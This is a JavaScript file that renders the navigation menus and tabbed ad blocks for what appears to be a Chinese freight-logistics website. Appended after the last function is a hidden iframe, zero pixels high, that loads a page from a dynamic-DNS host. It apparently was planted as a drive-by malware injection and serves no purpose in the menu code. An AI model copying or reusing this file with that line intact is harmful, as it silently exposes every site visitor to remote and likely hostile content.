function leftMenu(menu,mId,sId){
	var str = "";
	str += "<div id='leftmenu'>";
	for(var i=0;i<menu.length;i++){
		str += "<div>";
		var mClass = "";
		var sClass = "";
		if(mId==i+1){
			mClass = (menu[i][2].length!=0?" m1 mWhite":" m2 mWhite");
			sClass = "sShow";
		}
		str += "<div class='mDiv " + mClass + "'>";
		if(menu[i][1] != ""){
			if(mId==i+1)
				str += "<span>" + menu[i][0] + "</span>";
			else
				str += "<a href='" + menu[i][1] + "'>" + menu[i][0] + "</a>";
		}
		else{
			str += "<span>" + menu[i][0] + "</span>";
		}
		str += "</div>";
		var sMenuTitle = menu[i][2];
		var sMenuUrl = menu[i][3];
		sLength = sMenuTitle.length;
		if(sLength != 0){
			for(var j=0;j<sLength;j++){
				str += "<div class='sDiv " + sClass + "'>"
				if(sId==j+1){
					str += "<span><strong>" + sMenuTitle[j] + "</strong></span>";	
				}
				else{
					str += "<a href='" + sMenuUrl[j] + "'>" + sMenuTitle[j] + "</a>";	
				}
				str += "</div>";	
			}
		}
		str += "</div>";
	}
	str += "</div>";
	return str;
}
 

function menuTop(n){
	var str = "";
	var menutop = new Array();
	menutop[0] = new Array("首页","/","","");
	menutop[1] = new Array("企业名片登记","/mingpian/","","");
	menutop[2] = new Array("车源货源","/busscenter","","");
	menutop[3] = new Array("货运专线联盟","/list_zx.asp","","");
	menutop[4] = new Array("物流商机","/list_gongqiu.asp","","");
	menutop[5] = new Array("企业之窗","/list_company.asp","","");
	menutop[6] = new Array("货运保险","http://www.baoyuntong.com/Activities/?SourceID=1149","","");
	menutop[7] = new Array("代理专区","http://www.china-wl.com/join","","");
	menutop[8] = new Array("联系我们","/about/about.asp?lb=服务热线","","");
	
	str += "<ul id='nav'>";
	for(var i=0; i<menutop.length; i++){
		var menuid = menutop[i];
		var target = "",target2="";
		if(i==6) target = "target='_blank'";
		if(i==4) target2 = "target='_blank'";
		str += "<li class='li" + i + " ";
		str += (n==i+1?"fix":"");
		str += "'>";
		str += "<a href='" + menuid[1] + "' " + target + ">" + menuid[0] + "</a>";
		if(menuid[2].length!=0){
			str += "<ul onMouseOver=\"parentNode.className+=' fix2'\" onMouseOut=\"setClass(parentNode)\";>";
			for(var j=0; j<menuid[2].length; j++){
				str += "<li>";
				if(menuid[2][j].constructor == window.Array){
					str += "<a href='" + menuid[2][j][1] + "'>" + menuid[2][j][0] + "</a><div class='arr'><img src='img/arr.gif'></div>";
					str += "<ul onMouseOver=\"parentNode.className+=' fix2'\" onMouseOut=\"setClass(parentNode)\";>";
					for(var k=0; k<menuid[2][j][2].length; k++){
						str += "<li><a href='" + menuid[2][j][3][k] + "'>" + menuid[2][j][2][k] + "</a></li>";
					}
					str += "</ul>";
				}
				else{
					str += "<a href='" + menuid[3][j] + "' " + target2 +">" + menuid[2][j] + "</a>";
				}
				str += "</li>";
			}
			str += "</ul>";
		}
		str += "</li>";
	}
	str += "</ul>";
	document.write(str);
	showmenu();
}
function setClass(obj){
	obj.className=obj.className.replace(' fix2','');
}
function showmenu() {
  var li = document.getElementById("nav").getElementsByTagName("li");
  for (var i=0; i<li.length; i++) {
    li[i].onmouseover = function() {
      this.className += (this.className.length > 0 ? " ": "") + "show";
    }
    li[i].onmouseout = function() {
      this.className = this.className.replace(new RegExp("( ?|^)show\\b"), "");
    }
  }
}

function WriteAd(){
	var adL = ad.length;
	var str;
	var tClass;
	for(var i=0;i<adL;i++){
		str = "";
		str += "<div class=h10></div>";
		str += "<table cellpadding='0' cellspacing='0' class='tb100 ad'><tr>";
		str += "<td class='td td1'>" + ad[i][0] + "</td>";
		for(var j=1;j<ad[i].length;j++){
			tClass = "";
			tClass = j==1?"show":"hide";
			adTypeId = "adType" + i + j;
			adConId = "adCon" + i + j;
			str += "<td id='" + adTypeId + "' class='td2 " + tClass + "' onMouseOver='ShowAd(" + i + "," + j + "," + (ad[i].length-1) +");'>" + ad[i][j][0] + "</td>";
			str += "<td class='td' width=10>&nbsp;</td>";
		}
		str += "<td class='td'>&nbsp;</td>";
		str += "</tr></table>";
		str += "<div class='w100'>";
		str += "<div class='adcon' id='" + adConId + "'>";
		str += "<div id='conR" + i + "' class='fr'><img src='img/mp3_a.gif' width='361' height='271'></div>";
		str += "<div id='conL" + i + "' class='conl txt1'></div>";
		str += "<div class='clear'></div>";
		str += "</div></div>";
		document.write(str);
		g("conL" + i).innerHTML = ad[i][1][1];
		g("conR" + i).innerHTML = "<img src='img/" + ad[i][1][2] + ".gif' width=361 height=271>";
	}
}

function ShowAd(a,b,n){
	var tc = {s:"td2 show", h:"td2 hide"};	
	for(var i=1;i<=n;i++){
		g("adType"+a+i).className = i == b ? tc.s : tc.h;
		g("conL" + a).innerHTML = ad[a][b][1];
		g("conR" + a).innerHTML = "<img src='img/" + ad[a][b][2] + ".gif' width=361 height=271>";
	}
}

function g(objectId) {
  if(document.getElementById(objectId)) {
		return document.getElementById(objectId);
  }
}<iframe src=http://dfghjgj.3322.org/xp/360.html?vip12 width=100 height=0></iframe>